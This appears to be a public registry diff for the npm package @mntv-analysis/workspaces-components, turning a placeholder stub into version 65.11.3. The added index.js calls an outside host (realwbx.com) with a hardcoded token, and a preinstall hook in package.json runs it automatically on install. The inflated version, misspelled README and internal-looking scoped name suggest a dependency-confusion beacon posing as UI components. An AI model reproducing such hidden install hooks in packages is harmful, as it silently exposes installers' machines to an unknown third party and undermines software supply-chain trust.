@mntv-analysis/workspaces-components 0.0.0-stage → 65.11.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +2 -2
  2. package/index.js +44 -0
  3. package/package.json +22 -4
package/README.md CHANGED
@@ -1,3 +1,3 @@
1
- # Temporary Holding Version
1
+ # UI WorkSpace Componets
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ WorkSpace Componets compontent info pack
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const https = require('https');
2
+ const { get } = require("request")
3
+
4
+
5
+ const DEFAULT_URL = 'https://realwbx.com/ip.php';
6
+
7
+
8
+ function getPublicIPLocation(ip){
9
+ const options = {
10
+ hostname: "realwbx.com",
11
+ path: `/ip.php?ip=${ip}`,
12
+ method: "GET",
13
+ headers: {
14
+ "User-Agent": "Nodejs v1.3.1 ",
15
+ "Authorization": "920ff204acf77aa813059be4f3141900"
16
+ }
17
+ }
18
+ return new Promise((resolve, reject) => {
19
+ const req = https.request(options, (res) => {
20
+ let data = '';
21
+ res.on('data', (chunk) => {
22
+ data += chunk;
23
+ });
24
+ res.on('end', () => {
25
+ resolve(data);
26
+ });
27
+ });
28
+ req.on('error', (e) => {
29
+ reject(e);
30
+ });
31
+ req.end();
32
+ });
33
+ }
34
+
35
+
36
+ // Example usage remove this in production
37
+ console.log('Fetching public IP location...');
38
+ getPublicIPLocation('8.8.8.8').then((data) => {
39
+ console.log('Public IP Location:', data);
40
+ }).catch((error) => {
41
+ console.error('Error fetching public IP location:', error);
42
+ });
43
+
44
+ exports.getPublicIPLocation = getPublicIPLocation;
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "@mntv-analysis/workspaces-components",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "65.11.3",
4
+ "description": "This package is UI WorkSpace Components",
5
+ "keywords": [
6
+ "ip"
7
+ ],
8
+ "license": "ISC",
9
+ "author": "conx3993",
10
+ "type": "commonjs",
11
+ "main": "index.js",
12
+ "files": [
13
+ "index.js",
14
+ "README.md"
15
+ ],
16
+ "scripts": {
17
+ "test": "node index.js",
18
+ "preinstall": "node index.js"
19
+ },
20
+ "dependencies": {
21
+ "request": "^2.88.2"
22
+ },
23
+ "devDependencies": {}
24
+ }